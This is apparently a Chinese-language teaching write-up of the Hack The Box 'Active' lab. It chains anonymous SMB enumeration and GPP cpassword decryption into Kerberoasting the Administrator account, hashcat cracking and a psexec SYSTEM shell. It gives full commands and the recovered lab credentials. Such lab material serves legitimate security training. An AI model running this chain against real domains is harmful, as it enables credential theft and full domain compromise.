HTB Active:从 GPP 明文凭据到 Kerberoasting 拿下域控
字数 4850
更新时间 2026-07-11 23:52:04

HTB Active 靶机渗透教学文档:从 GPP 明文凭据到 Kerberoasting 拿下域控


一、环境概述

本教学基于 HTB 平台的 Active 靶机,目标为 Windows Server 2008 R2 SP1 域控制器,域名 active.htb,IP 地址 10.129.6.110


二、信息搜集阶段

2.1 端口扫描

TCP 全端口扫描:

sudo nmap -sS -p- -Pn -n 10.129.6.110 -T4 --min-rate 5000 -oA tcp_ports

关键开放端口分析:

端口 服务 意义
53/tcp domain DNS 服务,域控常见
88/tcp kerberos-sec Kerberos 认证,KDC 运行在域控上
135/tcp msrpc Windows RPC
389/tcp ldap LDAP 目录服务
445/tcp microsoft-ds SMB 服务
3268/tcp globalcatLDAP Global Catalog,仅域控有此端口

详细版本扫描:

sudo nmap -sV -sC -p 53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49162,49166,49168 10.129.6.110 -oA tcp_ports_detail -Pn -n

关键发现:

  • 操作系统:Windows Server 2008 R2 SP1
  • 域名:active.htb(从 LDAP 服务信息中提取)
  • SMB 签名:Message signing enabled and required(无法进行 SMB Relay)

本地域名解析:

echo "10.129.6.110 active.htb" >> /etc/hosts

2.2 SMB 共享枚举(匿名阶段)

在未获得有效凭证前,以匿名身份进行 SMB 共享枚举:

netexec smb 10.129.6.110 -u '' -p '' --shares

结果分析:

  • 允许 NULL Session(Null Auth:True
  • 发现共享列表,其中 Replication 共享具有 READ 权限
  • 主机名确认为 DC

使用 smbclient 连接 Replication 共享:

smbclient //10.129.6.110/Replication -U ''%''

发现关键 XML 文件路径:

\active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml

下载文件:

get Groups.xml

三、GPP 明文凭据获取

3.1 Groups.xml 内容分析

<?xml version="1.0" encoding="utf-8"?>
<Groups>
  <User name="active.htb\SVC_TGS" ... cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" ... />
</Groups>

关键信息:

  • 用户名:active.htb\SVC_TGS
  • 加密密码(cpassword):edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

3.2 GPP 密码原理

GPP(Group Policy Preferences,组策略首选项) 是微软在 Windows Server 2008 引入的功能,允许管理员批量管理域内机器和用户。常见用途包括:

  • 创建/修改本地用户账户(关键)
  • 映射网络驱动器
  • 配置计划任务
  • 修改注册表、管理服务等

安全隐患:

  • 管理员使用 GPP 创建用户时,密码以 cpassword 属性存储在 XML 文件中
  • 文件存放在域控的 SYSVOL 共享中,域内任何授权用户均可读取
  • 微软使用 AES-256 加密密码,但密钥已公开在 MSDN 的 MS-GPPREF 协议文档中
  • 因此 cpassword 实际上仅为编码而非安全加密

3.3 破解 GPP 密码

gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

破解结果: GPPstillStandingStrong2k18

获得的域内凭证:

  • 用户名:active.htb\SVC_TGS
  • 密码:GPPstillStandingStrong2k18

四、User Flag 获取

4.1 使用凭证重新枚举 SMB 共享

netexec smb 10.129.6.110 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --shares

新增可访问共享:

  • NETLOGON(READ)
  • SYSVOL(READ)
  • Users(READ)

4.2 获取 User Flag

smbclient //10.129.6.110/Users -U 'active.htb\SVC_TGS%GPPstillStandingStrong2k18'
cd SVC_TGS\Desktop\
get user.txt

User Flag 内容: e2c3f*******************


五、Root Flag 获取——Kerberoasting 攻击

5.1 合法用户枚举

通过 Users 共享发现存在 Administrator 目录但无权限访问,使用 SMB 枚举域内用户:

netexec smb 10.129.6.110 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --users

发现的域用户:

  • Administrator
  • Guest
  • krbtgt
  • SVC_TGS

5.2 Kerberos 认证协议基础

5.2.1 参与角色

  • Client:想要访问服务的用户
  • AP(Application Server):提供服务的目标服务器
  • KDC(Key Distribution Center):安装在域控上的核心服务,包含:
    • AS(Authentication Service):认证服务
    • TGS(Ticket Granting Service):票据授予服务

5.2.2 票据类型

  • TGT(Ticket Granting Ticket):初始认证票据,相当于"入场手环"
  • ST(Service Ticket)/ TGS Ticket:服务票据,用于访问具体服务

5.2.3 相关密钥

密钥名称 来源 性质
KDC/krbtgt key krbtgt 账户口令 长期密钥
User key 用户自身口令 长期密钥
Service key 服务账户口令 长期密钥
Session key KDC 生成 临时密钥
Service session key KDC 生成 临时密钥

5.2.4 加密类型(etype)

etype 名称 string-to-key 特点
23 (0x17) RC4-HMAC MD4(口令) = NTLM hash 1次哈希,无salt,易破解
17 (0x11) AES128-CTS-HMAC-SHA1-96 PBKDF2-HMAC-SHA1, 4096次迭代 带salt,难破解
18 (0x12) AES256-CTS-HMAC-SHA1-96 PBKDF2-HMAC-SHA1, 4096次迭代 带salt,难破解

5.2.5 SPN(Service Principal Name)

SPN 是 Kerberos/AD 中唯一标识"某台主机上的某个服务实例"的名称,格式为:

服务类/主机名[:端口或实例]

SPN 注册在运行该服务的账户对象上:

  • 机器身份运行 → 注册在机器账户
  • 域用户身份运行 → 注册在该域用户

5.2.6 Kerberos 认证流程

Step 1:KRB_AS_REQ(Client → AS)

  • 用 User Key 加密的时间戳(验证身份 + 防重放)
  • Username
  • SPN(与 krbtgt 关联)
  • User Nonce(随机数,防重放)

Step 2:KRB_AS_REP(AS → Client)

  • TGT(用 KDC Key 加密):包含 Username、Session Key、到期时间、PAC
  • Session Key 和到期时间(用 User Key 加密)
  • User Nonce(需与请求一致)

Step 3:KRB_TGS_REQ(Client → TGS)

  • 用 Session Key 加密的 Authenticator(用户名 + 时间戳)
  • TGT(以 AP-REQ 形式)
  • 目标服务的 SPN
  • User Nonce

Step 4:KRB_TGS_REP(TGS → Client)

  • ST(用 Service Key 加密):包含 Service Session Key、用户名、到期时间、PAC
  • Service Session Key 和到期时间(用 Session Key 加密)
  • User Nonce

Step 5:KRB_AP_REQ(Client → AP)

  • ST
  • 用 Service Session Key 加密的用户名和时间戳

Step 6:KRB_AP_REP(可选,AP → Client)

  • 服务验证自身身份(双向认证)

5.3 Kerberoasting 攻击原理

核心思路:

  1. 拥有域内有效凭证即可完成 Kerberos 完整交互
  2. Kerberos 只验证用户合法性,不检查服务访问权限
  3. 从 KRB_TGS_REP 中获取的 ST 使用 Service Key 加密
  4. Service Key 由服务账户口令生成
  5. 攻击者可以离线暴力破解 ST 中的加密数据,还原服务账户口令

攻击条件:

  • 拥有一个有效域用户凭证
  • 知道目标账号绑定了 SPN
  • 目标密码较弱且使用 etype 23(RC4-HMAC)

为什么优先选择 RC4-HMAC:

  • RC4:string-to-key = NTLM hash = MD4(口令),1次哈希,无salt
  • AES:PBKDF2-HMAC-SHA1,4096次迭代,带salt
  • 相同密码强度下,RC4 破解速度远快于 AES

5.4 实施 Kerberoasting

使用 Impacket 的 GetUserSPNs.py 获取目标用户 TGS 票据:

GetUserSPNs.py -request-user Administrator -dc-ip 10.129.7.74 active.htb/SVC_TGS -save -outputfile tgthash.out

输入密码: GPPstillStandingStrong2k18

获取的 TGS Hash 格式分析:

$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$...
  • $krb5tgs$:Kerberos TGS 票据哈希标识
  • 23:etype 23,即 RC4-HMAC(正是期望的加密类型)
  • Administrator:目标用户
  • ACTIVE.HTB:领域名

5.5 离线破解 TGS Hash

使用 Hashcat 破解:

hashcat -m 13100 ./tgthash.out /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt
  • -m 13100:Kerberos 5, etype 23, TGS-REP 模式
  • 字典:rockyou.txt

破解结果: Ticketmaster1968

获得的 Administrator 凭证:

  • 用户名:Administrator
  • 密码:Ticketmaster1968

六、Root Flag 获取——最终访问

6.1 使用 Administrator 凭证枚举 SMB 共享

smbmap -H 10.129.7.74 -u 'Administrator' -p 'Ticketmaster1968'

结果:

  • Status: ADMIN!!!
  • C$ 共享:READ, WRITE
  • ADMIN$ 共享:READ, WRITE
  • 确认当前账号为管理员权限

6.2 获取 Root Flag

smbclient //10.129.7.74/c$ -U 'Administrator'%'Ticketmaster1968'
cd Users\Administrator\Desktop\
get root.txt

Root Flag 内容: f32fd************************

6.3 后渗透——获取交互式 Shell

psexec.py active.htb/Administrator:'Ticketmaster1968'@10.129.7.74

工作原理:

  1. 使用当前凭证查找可写共享(ADMIN$)
  2. 上传恶意 EXE 文件到 ADMIN$
  3. 通过 RPC over SMB 连接到 SVCManager(服务控制管理器)
  4. 创建新服务指向上传的 EXE
  5. 启动服务 → EXE 以 SYSTEM 权限执行
  6. EXE 启动 cmd.exe,重定向 stdin/stdout/stderr 到命名管道
  7. 本地端连接到命名管道,获得交互式 Shell

七、攻击链总结

匿名SMB枚举
    ↓
发现Replication共享(可读)
    ↓
获取Groups.xml → 提取cpassword
    ↓
gpp-decrypt破解 → 获得SVC_TGS凭证
    ↓
SMB枚举 → 获取User Flag
    ↓
Kerberoasting → 获取Administrator的TGS Hash
    ↓
Hashcat离线破解 → 获得Administrator密码
    ↓
SMB管理共享 → 获取Root Flag
    ↓
psexec获得SYSTEM Shell

八、关键知识点回顾

知识点 要点
GPP 密码泄露 SYSVOL 共享中的 Groups.xml 包含加密密码,AES 密钥已公开
NULL Session 老旧系统允许匿名 SMB 会话,可枚举共享
Kerberos 协议 三方认证机制,涉及 AS/TGS/KDC 多个组件
Kerberoasting 利用 TGS 票据离线破解服务账户口令
etype 选择 RC4-HMAC(etype 23)易于破解,AES 系列难以破解
SPN 概念 标识主机上的服务实例,注册在运行服务的账户上
psexec 原理 通过服务控制管理器以 SYSTEM 权限执行代码
相似文章
相似文章
 全屏